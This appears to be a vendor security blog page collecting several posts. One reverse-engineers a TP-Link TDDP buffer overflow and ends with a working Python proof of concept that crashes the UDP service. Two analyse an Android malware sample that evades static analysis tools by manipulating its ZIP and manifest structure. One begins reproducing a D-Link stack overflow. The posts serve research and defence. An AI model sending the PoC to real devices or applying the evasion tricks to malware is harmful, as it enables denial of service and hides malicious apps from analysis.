官网

新闻

行业信息

合作信息

链安博客

服务

制造业

核心基础设施

电信

医疗行业

解决方案

iris文章录入练习

变更日志

帮助中心

漏洞管理

产品使用书

问答最频繁的问题

Incinerator: The Ultimate Android Malware Reversing Tool

TP-Link's TDDP programs listening on UDP port 1040, fails to properly verify data length during parsing, leading to memory overflow destroying the memory structure and causing a denial of service.

---

This blog delves into a vulnerability that was reported to TP-Link in 2020. Despite this, no CVE was assigned, therefore no information regarding the bug has been made public. Reading write-ups often offers valuable insights and learning opportunities. I strongly believe that sharing methodologies and research publicly benefits both the industry and all learners, students, and professionals.

I'll be using **Shambles** to identify, reverse, emulate, and validate the buffer overflow which leads to a denial of service. If you're interested in getting your hands on Shambles you can join the Discord and read the FAQ channel.

Let's begin by introducing the protocol, TDDP, which is a binary protocol documented in patent **CN102096654A**. Everything you need to understand the protocol is in the patent descriptions. But I'll summarize it for you.

#

<img src="/ucenterapi/upload/file/1edd55c24dc6ca9057f627359dcf9227"></img!>

#
TDDP is an acronym for TP-LINK Device Debug Protocol which is primarily used for debugging purposes that operate through a single UDP packet. This makes it very interesting to reverse since this binary protocol must be parsed. TDDP packet serves to transmit requests or commands with distinct message types specified within its payload. Below is an illustration depicting the format of a TDDP packet.

#
```
 0 1 2 3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ver | Type | Code | ReplyInfo |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PktLength |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PktID | SubType | Reserve |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[0-3] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[4-7] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[8-11] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[12-15] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```

#
To issue commands, you adjust the values in the `Type` and `SubType` header fields. To my understanding, any returned data is encrypted using DES and must be decrypted typically using the device's username and password. Configuration data sent to the device also needs to be encrypted. The DES key is formed by combining the MD5 hash of the username and password, then extracting the first 8 bytes of the hash.

The full buffer overflow chain can be visualized below. We'll cover it step-by-step but you'll likely need to scroll back up to reference the image.

#

<img src="/ucenterapi/upload/file/67c79fe25118ea3361723a88d718c195"></img!>

#
Let's break this down. We'll call the function shown below `tddpEntry` (`sub_4045f8 0x004045F8`) which is the start of the chain. This function handles communication using the TDDP protocol by continuously checking for incoming data. UDP data is received from the `recvfrom` function which is used to receive data from a socket in `dword_4178d0`.

#

<img src="/ucenterapi/upload/file/507448ec7fd94007fc5effb8bc6bae3d"></img!>

#
The data received is stored in the buffer (`varf4`). No validation against the received data size is performed when it is then passed to `TddpPktInterfaceFunction` (`sub_4045f8+330 0x00404B40`) for processing. As seen below `GetTddpMaxPktBuff` (`sub_4042d0 0x004042D0`) returns `0x14000`.

#

<img src="/ucenterapi/upload/file/73bfad6e3bf79edb6e1490bcb9221017"></img!>

#
Below is the `TddpPktInterfaceFunction` function.

#

<img src="/ucenterapi/upload/file/ab5fd95a50a0c1436c1db7830aa2557d"></img!>

#
The conditional block above will handle cases where the first byte of the packet `p0` equals 2 `byte[0] = 2` seen in the code as `*(byte *)p0 == 2`. The function passes data by setting specific values into the packet and a new storage space pointer. Then it calls the `tddp_versionTwoOpt` (`sub_404b40 0x00405990`) function to process the packet further. The size and allocation of `off_42ba8c` is at a maximum length of `0x14000` when the packet is processed. The `tddp_versionTwoOpt` function passes data into `tddp_deCode` (`sub_404fa4 0x00405014`) for verification.

#

<img src="/ucenterapi/upload/file/bad734eb17f03475174c4af13cbabfbf"></img!>

#
`tddp_deCode` will set the data, DES length, and pointer then attempt to decode the provided TDDP packet (`p0` and `p1`) and verify the integrity of the decrypted data. If successful, it updates the decoded data and returns `0`.

In other words, the `tddp_deCode` function decodes the TDDP packet. In the `tddp_deCode` function, the data, and DES length are going to be contained in byte[4-8] and a pointer to the newly stored data is set before calling `des_min_do` for decryption. It's important to note that `des_min_do` is a function provided by the `/lib/libutility_lib.so` library.

#

<img src="/ucenterapi/upload/file/5816c5f91ce5f72c8851eb0b7524677e"></img!>

#
Again, parameters such as size and length are passed into `des_min_do` for decryption.

#

<img src="/ucenterapi/upload/file/32c6542a5693e88a6982c01e94d8c30d"></img!>

#
After extracting the necessary fields from the input data, the function calculates the DES length using the extracted bytes `byte[4-8]`, and sets the pointer to the newly stored data represented by the variable `arg4`.

#
```
// Further up in the function
arg0 = p0;
arg4 = p1; // Pointer of the newly stored data
// Line 99
var34 = des_min_do(arg0 + 28, var38, arg4 + 28, v18);
```

#
Here, `arg4` is passed as an argument to the `des_min_do` function, which as we've mentioned multiple times is responsible for decrypting the data. The decrypted data is then stored starting from the offset `arg4 + 28`.

#
```
// Line 96
v18 = GetTddpMaxPktBuff() - 28;
```

#
The resulting value (`v18`) is used as the limit for further operations. The snipped of code above is when the function `sub_4042d0()` is called, which returns the size of the decrypted data. Then, `28` is subtracted from this size, presumably to account for some header length. This is passed as the fourth parameter.

That was pretty lengthy. And perhaps confusing so just to recap. In the `des_min_do` function, `arg4` and `v18` are parameters passed into the function. The variable `arg4` contains the value `p1` which is passed as the third argument to `des_min_do`. `arg4` is used to provide the length of the DES data to the `des_min_do` function. `v18` is also passed into `des_min_do` as the fourth argument and is assigned the result of the expression `GetTddpMaxPktBuff() - 28`.

Let's look at the `des_min_do` function.

#

<img src="/ucenterapi/upload/file/798d98700810e8f2f559581cd3a32814"></img!>

#
As seen above when the length of DES passed in `byte[4-8]` is greater than the maximum size limit `0x14000` `0` is returned directly without decryption. Therefore if `v6` is `0`, `v5 < p1` the DES encryption key won't be set using `DES_set_key_unchecked` and no decryption is performed. So at this point, the `des_min_do` function will return `0`.

After some more operations are performed in `tddp_deCode` the MD5 digest verification block is reached.

#

<img src="/ucenterapi/upload/file/2373bbca91f1aa8769a14b94810518f2"></img!>

#
Following the processing in `tddp_deCode`, the MD5 digest stored in `byte[13-28]` is extracted and compared with the MD5 digest of the entire current dataset. When the md5 digest is compared the original md5 digest `byte[13-28]` position is set to `0`). As seen in the memory write operation below.

#
```
*(byte *)(arg4 + var38 + 28) = 0;
```

#
Since `arg4` is the data structure containing the MD5 digest, `var38` holds the offset to the start of the MD5 digest within the buffer. By setting the byte at this position to `0`, it effectively modifies the stored MD5 digest, which is stored in bytes `13-28` of the buffer. This modification allows the subsequent comparison to determine if the recalculated MD5 digest matches the original stored MD5 digest.

SO! The MD5 digest stored in `byte[13-28]` is extracted. This extracted MD5 digest is then compared with the MD5 digest data, where the original MD5 digest `byte[13-28]` position is set to `0`. If the verification is correct (i.e., if the extracted MD5 digest matches the MD5 digest of the current data) the `tddp_deCode` function proceeds to process it, points the pointer of the new storage content to the position of `byte[4-8] + 28`, and sets the byte position to `0`. Since `byte[4-8]` is controllable, we can cause overflow (if greater than `0x14000`), writing it to `0` leads to memory corruption, as it destroys the memory structure and causes a denial of service (DoS) condition.

Let's make a POC using Shambles! This literally takes 5 minutes. Simply create a VM and map it to the 2nd file system containing all the firmware binaries.

#

<img src="/ucenterapi/upload/file/758ebf458de6e1bb64fbb3316097f62d"></img!>

#
Then we simply start the VM as seen below no edits are required to the firmware and it runs flawlessly.

#

<img src="/ucenterapi/upload/file/36da2ba309ace13c5e5dfb02b7253de8"></img!>

#
Through the built-in SSH console, we'll manually start the `httpd` binary.

#

<img src="/ucenterapi/upload/file/34f6c3b81bdac0cdc29a8a08fbc10544"></img!>

#
We can validate that it's working by performing some reverse proxying and accessing the page.

#

<img src="/ucenterapi/upload/file/4ca4a5b9f9358ab71efb359abd80d9b2"></img!>


<img src="/ucenterapi/upload/file/57963f5abb54ba365f44ac0b368cccdd"></img!>

#
We'll also go ahead and spin up `tddpd`.

#

<img src="/ucenterapi/upload/file/62cad39a3edd672dd4bcaad54aac0880"></img!>

#
Before we try throwing anything at the box its always good to validate that the required services are running. We confirm below that `tddpd` is rolling on port `1040`.

#

<img src="/ucenterapi/upload/file/e74176451c4cd798ba58fb9a503d9424"></img!>

#
I'll access the VM's port `1040` over my local port `10461`.

We need to set `v0` to `0x01000000` in `byte[4-8]`. The UDP packet still has to be valid and recognized. So looking at the patent information we will set the following values:

#
```
byte[0]: Ver
byte[4-8]: PktLength
byte[13-28]: MD5 digest
byte[29-N]: DES
---------------------------------
TDDP version = "02"
TDDP user config = "01 00 00 00"
TDDP code request type = "01"
TDDP reply info status (OK) = "00"
TDDP padding = "%0.16X" % 00
```

#

<img src="/ucenterapi/upload/file/61d4da049b90e16a10d9aaf05d1c39fe"></img!>

#
The final POC will be the following code.

#
```
import socket
import hashlib
bytes12 = bytes([0x02, 0x01, 0x00, 0x00,
 0x01, 0x00, 0x00, 0x00,
 0x12, 0x34, 0x56, 0x78])
magic = (0x00).to_bytes(length=16, byteorder='big')
tmp_data_bytes = bytes12 + magic
md5_bytes = hashlib.md5(tmp_data_bytes).digest()
data_bytes = bytes12 + md5_bytes
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(data_bytes, ("127.0.0.1", 10461))
data = s.recv(1024)
print('recv:' + data.decode())
s.close()
```
#
Once executed we can look at Shambles VM logs and see that the `tddpd` program has crashed.

#

<img src="/ucenterapi/upload/file/4adb8a13575bc01d5cc306bf0600284c"></img!>

#
Through debugging, we can confirm the cause is the incoming `v0=0x01000000` which exceeds the range and forces the written value to be `0` causing the crash.
#

<img src="/ucenterapi/upload/file/2a005c39f882ce858539d88e4acbd905"></img!>

#

TP-Link TDDP Buffer Overflow Vulnerability

BOOMSLANG Mobile fraud family analysis

Machine Learning-based Android Malicious App Identification

# Background

With the proliferation of mobile applications, malware is becoming increasingly sophisticated and evasive. This report focuses on a malicious Android software sample submitted by ReBensk to incinerator.cloud.

- Sample Hash Values:

 - MD5: 2f371969faf2dc239206e81d00c579ff
 - SHA-256: b3561bf581721c84fd92501e2d0886b284e8fa8e7dc193e41ab300a063dfe5f3

Among the malicious samples submitted to incinerator.cloud by ReBensk, we have a particular interest in a custom-modified APK file, referred to as "Sample b356." This sample employs unique obfuscation and steganography techniques that thwart the successful extraction of its contents using conventional decompression tools. Through targeted adjustments, we managed to overcome this limitation and conduct a more comprehensive analysis of the sample.

# Analysis Process

## Investigation of Decompression Failure

While attempting to decompress the APK file (essentially a ZIP file) using the 7z tool, an error surfaced displaying an AndroidManifest.xml header error. This points to the standard decompression process failing to properly extract the contents of Sample b356.

#

<img src="/ucenterapi/upload/file/d905debb0ab630a86c0429d12b85b0cd"></img!>

#
After opening the APK file with 010 Editor and applying the ZipAdv template to parse it, no obvious errors or exceptions were found.


#

<img src="/ucenterapi/upload/file/06666c0ac6531b59ef2d4091864cb545"></img!>

#

To get a deeper understanding of the problem, we opened a functioning APK file for comparative analysis. This was done to determine if there was some kind of special or irregular structure or data that could be the cause of the decompression failure.


#

<img src="/ucenterapi/upload/file/0992bfb70296815c001df5b2509bc2ea"></img!>

#

A comparison shows that Sample b356 uses an illegal compression algorithm `0x23C2`. In the standard ZIP format specification, the compression method is indicated by a short integer (short), typically adopting values as shown below (the following code is taken from the ZIPdecompression tools like 7z cannot identify or process it.

#
```
//enum used for compression format
typedef enum <short> { 
 COMP_STORED = 0,
 COMP_SHRUNK = 1,
 COMP_REDUCED1 = 2,
 COMP_REDUCED2 = 3,
 COMP_REDUCED3 = 4,
 COMP_REDUCED4 = 5,
 COMP_IMPLODED = 6,
 COMP_TOKEN = 7,
 COMP_DEFLATE = 8, // Deflate - standard ZIP codec, used from the start, also found in regular ZIP files
 COMP_DEFLATE64 = 9,
 COMP_PKImploding = 10,
 
 COMP_BZip2 = 12, // BZIP2 - Newer than deflate, with better compression and slightly slower speed.
 COMP_LZMA = 14, // LZMA - advanced ZIPX codec, taken from open source 7-zip format
 COMP_Terse = 18,
 COMP_Lz77 = 19,
 
 COMP_Jpeg = 0x60, // Jpeg - Codec added by WinZip for specific support of jpeg images ( http://www.winzip.com/wz_jpg_comp.pdf )
 COMP_WavPack = 0x61, // WavPack - Codec for compressing specifically wav files. ( http://www.wavpack.com )
 COMP_PPMd = 0x62, // PPMd - context modeling based codec, also featured in new ZIP standard. We use it in our Optimized method for text file compression. ( http://www.compression.ru/ds/ )
 COMP_WzAES = 0x63 // WZAES encryption methods
} COMPTYPE;
```

#
Consequently, Sample b356 employs an unidentified compression algorithm, impeding successful decompression using general-purpose tools. However, how can it still install and run effectively on the Android system?

## Factors Enabling Successful Parsing and Execution on the Android System

As depicted in the illustration below, according to the Android system's source code, when confronted with a compression algorithm other than `COMP_DEFLATE`, it resorts to handling the input file through the `COMP_STORED` method. In detail, the system directly gauges the length of the uncompressed data and subsequently processes it.


#

<img src="/ucenterapi/upload/file/de9b6970fc8f1655de66719b0b80c1b8"></img!>

#

<img src="/ucenterapi/upload/file/6d49259ebe481fa51a7ad3adb371211c"></img!>

#

<img src="/ucenterapi/upload/file/edb56ebf530ae2b4023d608f32c0e351"></img!>

#

<img src="/ucenterapi/upload/file/35dbc8e23cb4f20e0bb7e2e894e08ae7"></img!>

#

<img src="/ucenterapi/upload/file/24d2a80ec631ac98a0bae901d67b7423"></img!>

#

<img src="/ucenterapi/upload/file/c76ecbadce6c55fb40ffd09943e2112b"></img!>

#

<img src="/ucenterapi/upload/file/61309be7bcac1aea31aee686be8cd0c1"></img!>

#

<img src="/ucenterapi/upload/file/4745f772dcb5ef42c93bac506489fde2"></img!>




#

Pay close attention to the code comparison within the yellow and red boxes. In the yellow box, if the COMP_DEFLATE compression algorithm is employed, the system decompresses correspondingly. If not, the system directly reads the pre-compression length and processes it.

This elucidates why the system continues to function accurately even after modifying the compression method in AndroidManifest. Sample b356 swaps the package's AndroidManifest.xml content with the pre-compression content and replaces the compression algorithm with something other than COMP_DEFLATE following the completion of the standard packaging process. Consequently, conventional decompression tools falter, but the Android system interprets it as uncompressed, facilitating normal operation.

## Recommendations for Enhancing the Decompression Program

### **Rectifying the APK**

#

<img src="/ucenterapi/upload/file/2ea3c84b1c9d8e70ebb0952b40179795"></img!>

#

In line with the Android system's approach, the AndroidManifest.xml within the Apk can only undergo two compression methods: `COMP_DEFLATE` or `COMP_STORED` .

If the compression algorithm is not the default COMP_DEFLATE, then it must be uncompressed, so the way to fix the apk is that if you find that the compression algorithm is not COMP_DEFLATE, then set the compression algorithm to 0, i.e. uncompressed, and at the same time, set the compressed length to the length before compression. This way regular decompression tools can decompress it.

After the fix, we tried to decompress it using the 7-Zip (usually shortened to 7z) tool and the results are shown below. Although there are still errors, especially regarding the CRC (Cyclic Redundancy Check) value which has not been fixed, we have successfully extracted the APK file and can access the AndroidManifest.xml content in it.


#

<img src="/ucenterapi/upload/file/f4f75ecfe41db899310742600cc8b41f"></img!>

#

<img src="/ucenterapi/upload/file/204117fe727bd27a3694f2d536053f47"></img!>

#

### **Static Analysis Tool Enhancement**

The static analysis tool can follow the system's decompression method, if it finds that the compression method of AndroidManifest.xml is not COMP_DEFLATE, then it reads the length before compression as the content of AndroidManifest.xml.

# Conclusion

As Android system processes non-COMP_DEFLATE compression methods through uncompressed handling during parsing, this approach, from a logical perspective, diverges from specifications. Consequently, b356 effectively exploits this logical vulnerability. An exhaustive solution would necessitate the Android system adhering to the standardized ZIP package decompression format.

# Special Thanks:

Thank you to ReBensk for your ongoing support. We're grateful for your quiet use of incinerator.cloud and your tireless contributions of many unique samples. We greatly appreciate your willingness to publicly share all your sample analysis reports from your incinerator.cloud account with the community.


Thanks to 0x6rss for your assistance in both technical and other matters. You're an excellent brother who has taught us many new techniques. Our team hasn't worked in the malware analysis field for many years, and you've helped us learn a lot more. Thank you.
Thanks to MalwareBug for submitting many samples and issues to us. Your ongoing support for the development of incinerator is invaluable, and I look forward to each of your articles!


Thanks to JoeSecurity. If it weren't for you identifying the issue with Zip types, we wouldn't have been inspired to analyze related technologies. We also hope to gain access to your Sandbox services since I've never successfully registered.
Thank you to Fernando Sánchez for sharing your technical insights. We are very grateful!

AndroidManifest.xml Evasion Techniques for Bypassing Static Analysis: Circumventing via Zip Format Manipulation

# Background

As mobile applications become increasingly prevalent, malicious software is also becoming more complex and covert. This report focuses on a malicious Android sample submitted by ReBensk to incinerator.cloud.

# Basic Information

- **Sample Hashes:**

 - MD5: 2f371969faf2dc239206e81d00c579ff
 - SHA-256: b3561bf581721c84fd92501e2d0886b284e8fa8e7dc193e41ab300a063dfe5f3

Among multiple malicious samples submitted to incinerator.cloud by ReBensk, we pay special attention to a custom-modified APK file, hereinafter referred to as "Sample b356." This sample employs unique obfuscation and evasion techniques, which make it resistant to conventional decompression tools. Through specialized remediation, we were able to bypass this limitation and analyze the sample further.

# Analysis Process

## Structural Corruption in AndroidManifest.xml

### **Reason for Failure in Initial Analysis**

Using the 010 Editor, we attempted to analyze the remediated AndroidManifest.xml binary file from Sample b356 with the AndroidResource template. This initial attempt failed, revealing issues beginning at `pos:0` of the file.

#

<img src="/ucenterapi/upload/file/fa394b89902f641d1dbd82e89b7d5d21"></img!>

#

By comparing this with a standard AndroidManifest.xml binary file, we noticed a discrepancy right at the first byte.

#

<img src="/ucenterapi/upload/file/eeb65e0c9946b0c84dd9ccbbf612c5b9"></img>

#
Resource Type Definitions:

#
```
enum {

 RES_NULL_TYPE = 0x0000, 
 RES_STRING_POOL_TYPE = 0x0001, 
 RES_TABLE_TYPE = 0x0002, 
 RES_XML_TYPE = 0x0003, // Chunk types in 
 RES_XML_TYPE RES_XML_FIRST_CHUNK_TYPE = 0x0100, 
 RES_XML_START_NAMESPACE_TYPE= 0x0100, 
 RES_XML_END_NAMESPACE_TYPE = 0x0101, 
 RES_XML_START_ELEMENT_TYPE = 0x0102, 
 RES_XML_END_ELEMENT_TYPE = 0x0103, 
 RES_XML_CDATA_TYPE = 0x0104, 
 RES_XML_LAST_CHUNK_TYPE = 0x017f, // This contains a uint32_t array mapping RES_XML_RESOURCE_MAP_TYPE = 0x0180, // Chunk types in RES_TABLE_TYPE RES_TABLE_PACKAGE_TYPE = 0x0200, 
 RES_TABLE_TYPE_TYPE = 0x0201, RES_TABLE_TYPE_SPEC_TYPE = 0x0202

};
```

#
According to Android specifications, this byte should typically be 0x03, which is not the case in Sample b356.

### **Why android can parse？**

Locating the source code for Android parsing,

#

<img src="/ucenterapi/upload/file/10a65df22a3abab755008fcace3eed19"></img>

#
This is the point where the parsing of the Androidmanifest.xml binary initiates. Upon examining the source code, it becomes apparent that there is no validation of the first two bytes as 0x0003. Instead, the legality of the headerSize is the sole aspect subjected to verification. Consequently, even after altering the file type in sample b356, Android retains its capability to accurately parse the file.

### **Modification Suggestions**

Static analysis tool fix suggestion: keep the same parsing process with Android system, no file type verification here.

## StringPoolSize Modification

### **Data Anomaly Analysis**

We manually corrected the first byte to 0x03 for further analysis. Upon attempting to parse it again with the AndroidResource template, we found that the analysis still failed. It only displayed the string pool without parsing out the main XML node.

#

<img src="/ucenterapi/upload/file/3ba8e84f743f8339731abc6d5da041ec"></img>

#

We expanded the data in `stringoffsets` for examination. Starting from the 131st `stringoffset`, the data showed significant anomalies, far exceeding the entire length of the file, clearly indicating an error. Upon further analysis of the `stringPool` header information, we calculated that the actual number of strings is 131.

#

<img src="/ucenterapi/upload/file/54762c3b7a885a91d1c236488baada27"></img>

#

In the `stringoffsets` field of sample b356, starting from the 131st entry, the data clearly shows anomalies: these values far exceed the actual length of the entire file. This inconsistency clearly points to an error and suggests that the number of entries recorded in `stringoffsets` is likely inaccurate.

#

<img src="/ucenterapi/upload/file/fbec3135a96e9af9d5e4474182dc48a6"></img>

#

Upon conducting a deep analysis of the `stringpool` structure in sample b356, we first confirmed that `strdata[0]`, i.e., the first string in `stringpool`, was correctly parsed. This is crucial because it verifies that our starting position for parsing (0x230, which is 560 in decimal) is accurate.

The `stringsStart` field indicates that the starting position of the `stringpool` is 552 bytes from the beginning of the file header. Since there are typically 8 bytes used to store meta-information about the `stringpool` (such as length or other flags), 552 + 8 equals precisely 560.

#

<img src="/ucenterapi/upload/file/61d38b9dadb4173e6c00b573333e9da2"></img>

#

This naturally raises a question: What exactly does the content of these 552 bytes comprise? We know that the `strPoolheader` itself takes up 28 bytes (or 0x1C). If we subtract these 28 bytes from the 552, what are the remaining 524 bytes used for?

The remaining 524 bytes are very likely used to store `stringoffsets`. Each `stringoffset` typically takes up 4 bytes, so 524/4 equals precisely 131. This aligns with the number of `stringoffsets` that we previously calculated manually.

#

<img src="/ucenterapi/upload/file/b6be65e7c3656e1362f465cdf53eee72"></img>

#

In our previous in-depth analysis, we inferred that the actual number of `stringoffsets` is 131, which is inconsistent with the incorrectly identified number in sample b356. To more accurately parse this sample, we decided to correct the `stringCount` field.

### **Why Can the Android System Parse It Correctly?**


#

<img src="/ucenterapi/upload/file/da58a71cc963b27338b8532de3ae148f"></img>

#

As shown in the source code for system parsing `stringPoolsize` above, `stringPoolsize` is computed. Therefore, the modifications to `stringPoolsize` in sample b356 effectively break many static analysis tools that read `stringPoolsize` from the file. However, the Android system can still obtain the correct `stringPoolSize` through calculations during parsing.

### **Modification Suggestions**

Suggested Modification for Static Analysis Tools: Follow the Android system's approach, where `stringPoolSize` is computed rather than parsed from the file.

1. Manual Adjustment: First, find the `stringCount` field in the `stringPool` header of sample b356 and change its value to 131.
2. Reparse: After completing the modification, we use `010 Editor` along with the `AndroidResource` template to parse the sample again.

After the modification, we find that the main XML nodes have been successfully parsed. This means that our manual adjustment is effective, and we can now see more internal details of the sample.

#

<img src="/ucenterapi/upload/file/d1adf356363f646a7ff6e1aa35cdfa41"></img>

#

Despite manually fixing the `stringCount ` and successfully parsing the main nodes of `AndroidManifest.xml ` using 010 Editor, dedicated static analysis tools still encounter errors. The specific error occurs at the `0x1588` byte position in the binary file.

## Insert obfuscated data at the end of the XML node

### **Analysis of Anomalous Data**

We manually modify the `stringCount` to 131 in order to continue the analysis.

Upon reloading the modified file with 010 Editor, the result is as shown in the following figure:

#

<img src="/ucenterapi/upload/file/823d8284d1383119434a7d6a6b9a091b"></img>

#

010 Editor has no issues during parsing, but when using static analysis tools, unexpected data is encountered at byte `0x1588`.

At byte position `0x1587`, the first XML element has already ended. Static analysis tools expect byte `0x1588` to serve as the starting point for the next `ResChunk_header` for analysis. However, an exception occurs when attempting to parse the `size` field at byte `0x158A`. According to the constraints of the `ResChunk_header` structure, this `size` value should be at least greater than 8, but the actual data does not meet this condition.

It seems that sample b356 has inserted some non-standard or obfuscated data at byte `0x1588`, causing the static analysis tool to fail in its analysis.

Based on the parsing results from 010 Editor, we know that the `headersize` field of 'startEle' has been modified, allowing for the addition of obfuscated content after the element ends.

#

<img src="/ucenterapi/upload/file/c198401bffbe3bab491a28f571562b91"></img>

#

After parsing the `attribute` field, if the parsing is not yet complete or an exception is encountered, the tool should automatically skip to the position defined by `elementStart + size` and begin parsing the next element from there. The purpose of doing this is to bypass any potential interference or erroneous data.

### **Why Android Systems Can Parse？**

As shown in the Android system source code below, each attribute's data is calculated through the position of `attributeExt`, the start of `attributeExt`, and the size of attributeExt. The start and size of `attributeExt ` are read from the bytes. Therefore, as long as the start of attributeExt is correct, it ensures that the correct `attributeData` can be obtained.

#

<img src="/ucenterapi/upload/file/1e0820ca56d105b344e5bb25be8dc9f6"></img>

#

The `attributeExt` is located based on the size and position specified in the header of the current XML node. Specifically, every time a new node is parsed, the position is calculated by adding the `size` value read from the header of the current node to the current node's position.

In the case of the sample b356, the position of startEle[1] is calculated as the position of startEle[0] plus startEle[0].header->size. Therefore, while sample b356 inserts disruptive data after the end of startEle[0] in the original APK, it also modifies the length of startEle[0].header->size, enabling the system to parse it correctly.

In other words, the system continues to parse correctly because it moves to the next node based on the modified 'size' value in the header, effectively bypassing the disruptive or obfuscating data that was inserted.

#

<img src="/ucenterapi/upload/file/5ea38dd369c4de29947c044d74ae8c20"></img>

#

### **Modification Suggestions**

Suggested Modification for Static Analysis Tools: Consider following the parsing method used by the Android system, where the starting position of each XML node is calculated based on the starting position of the previous node plus the length of the previous node.

# Summary

The "b356" sample showcases obfuscation and concealment techniques at multiple layers and dimensions, with a clear aim: to resist and disrupt the capabilities of standard decompression tools and static analysis decoding.

The primary reason why b356 can successfully obfuscate is the difference in some of the finer details between the Android system's parsing process and the commonly used static analysis tools in the market.

In this sample, there are only three modification points, but other samples may have additional points. We will continue to analyze these in our next blog post.

However, a reactive approach of patching individual issues is certainly not the ideal solution. Instead, a more systematic approach should be taken to align the static analysis techniques with the Android system's parsing process. For example, converting the system source code parsing method into one compatible with static analysis tools, which would require a collective effort from the community.

# Special Thanks:

Thank you to ReBensk for your ongoing support. We're grateful for your quiet use of incinerator.cloud and your tireless contributions of many unique samples. We greatly appreciate your willingness to publicly share all your sample analysis reports from your incinerator.cloud account with the community.
Thanks to 0x6rss for your assistance in both technical and other matters. You're an excellent brother who has taught us many new techniques. Our team hasn't worked in the malware analysis field for many years, and you've helped us learn a lot more. Thank you.
Thanks to MalwareBug for submitting many samples and issues to us. Your ongoing support for the development of incinerator is invaluable, and I look forward to each of your articles!
Thanks to JoeSecurity. If it weren't for you identifying the issue with Zip types, we wouldn't have been inspired to analyze related technologies. We also hope to gain access to your Sandbox services since I've never successfully registered.
Thank you to Fernando Sánchez for sharing your technical insights. We are very grateful!

Technical Analysis of Multi-layered Obfuscation Techniques in AndroidManifest.xml Aimed at Evading Static Analysis

Shambles: The Next-Generation IoT Reverse Engineering Tool to Discover 0-Day Vulnerabilities

# Vulnerability Information

Viewing the base information of this CVE from [CVE-2019-10999](https%3A%2F%2Fcve.mitre.org%2Fcgi-bin%2Fcvename.cgi%3Fname%3DCVE-2019-10999), we know that this is a stack overflow vulnerability, where an attacker can execute an arbitrary command attack by sending an extra-long WEPEncryption parameter to wireless.htm while logged in, resulting in a stack overflow. We will now use the Shambles Desktop tool to locate this vulnerability and perform a stack overflow attack. Check the Dlink website for devices and versions that are vulnerable. We select v2.17.01 of the DCS-932L. Download the corresponding firmware.

# Reproducibility

First, open the firmware with Shambles Desktop, use Shambles Desktop's online unpacking function to unpack the firmware and extract the file system, so that the contents of the firmware package will be displayed in the form of a visual file directory tree (shown on the left side of Figure 1), which is convenient for analysis. At the same time, Shambles Cloud will analyze the unpacked information to determine the device, manufacturer, chip architecture, device type and other information. As shown in the Hardware Information of Firmware Info on the right side of Figure 1, the device is an embedded camera device with MIPS chip architecture from D-Link.

## 1. Static analysis

#

<img src="/ucenterapi/upload/file/4726755d89ff3af1a73938facc9fbb2c"></img>

*Figure 1*

#
First of all, we analyzed the static code of the firmware through Shambles Desktop to determine the code location of the vulnerability.

[CVE vulnerability information](https%3A%2F%2Fcve.mitre.org%2Fcgi-bin%2Fcvename.cgi%3Fname%3DCVE-2019-10999) mentioned that the vulnerability exists in the device's web server executable file alphapd, the attackers in the request wireless.htm file, in the request parameter WEPEncryption constructed in the long parameter can lead to a stack overflow to execute arbitrary commands.

So first search for "**alphapd**" keyword in file manager, so as to find the corresponding file for static decompile operation, and then search for "WEPEncryption" keyword in the current decompile window, the result returns Then search "**WEPEncryption**" keyword in the current decompile window, the result returns more than ten matches (as shown in Figure 2), and then analyze it together with the detection result of "**ELF Vunerability Info**" on the right side of the code risk detection window (as shown in Figure 2).

Both messages mention the address near sub_43b7c0 several times, and the code risk detection directly points out the stack overflow risk associated with the address &lt;sub_43b7c0+1b4&gt;strcpy. So &lt;sub_43b7c0+1b4&gt; is more likely, double click &lt;sub_43b7c0+1b4&gt; to jump to **strcpy(&var30, v2)** to view ASM code.

#

<img src="/ucenterapi/upload/file/0cbaf27fc552e65ad2e6d69ccffe7d9b"></img>

*Figure 2*

#
ASM code can only see the place is a strcpy call, press F5 shortcut key to switch to the "**pseudo view**" to view the disassembly code. As shown in Figure 3, line 25 copies the content of v2 to the address of the stack variable &var30. The logic of the decompiled code in line 11 to 19 is: "**When the WEPEncryption parameter does not exist in the p0 memory address, no valid operation is performed and it is returned directly, while when the WEPEncryption parameter exists in the p0 memory address, websGetVar returns the contents of the WEBEncryption parameter**". Combined with the CVE information and the meaning of the function name websGetVar, it is hypothesized that sub_43b7c0 may be the function that handles the network request parameter WEPEncryption. Verifying this speculation requires proving that **sub_43b7c0** is executed when a web request with the WEPEncryption parameter is sent against wireless.htm, which requires dynamic simulation to run the firmware.

#

<img src="/ucenterapi/upload/file/25adb787a424783cd5a9fa34b17da91f"></img>

*Figure 3*

#
## 2. Dynamic debugging

According to the conclusion of the static analysis above, we know the cause of the vulnerability and the possible location of the command, and then enter the second stage of the dynamic verification process: using Shambles Desktop's firmware emulation "Virtual Machine" （Hereinafter referred to as "**VM**" ）function to debug the firmware dynamically. To enter the simulation function, first we need to switch the file management module of Shambles Desktop to "**Cloud Mode**", and then click New in the right toolbar of the VM management tool, select the file system where alphapd is located, and create a simulator (as shown in Figure 4). Then select the file system where alphapd is located in the file manager and right click to open a terminal (hereinafter referred to as the file system terminal). As shown in Figure 5 below, the firmware's file system is mounted.

#

<img src="/ucenterapi/upload/file/a384d67e51c1220ce79b7f2f4722377c"></img>

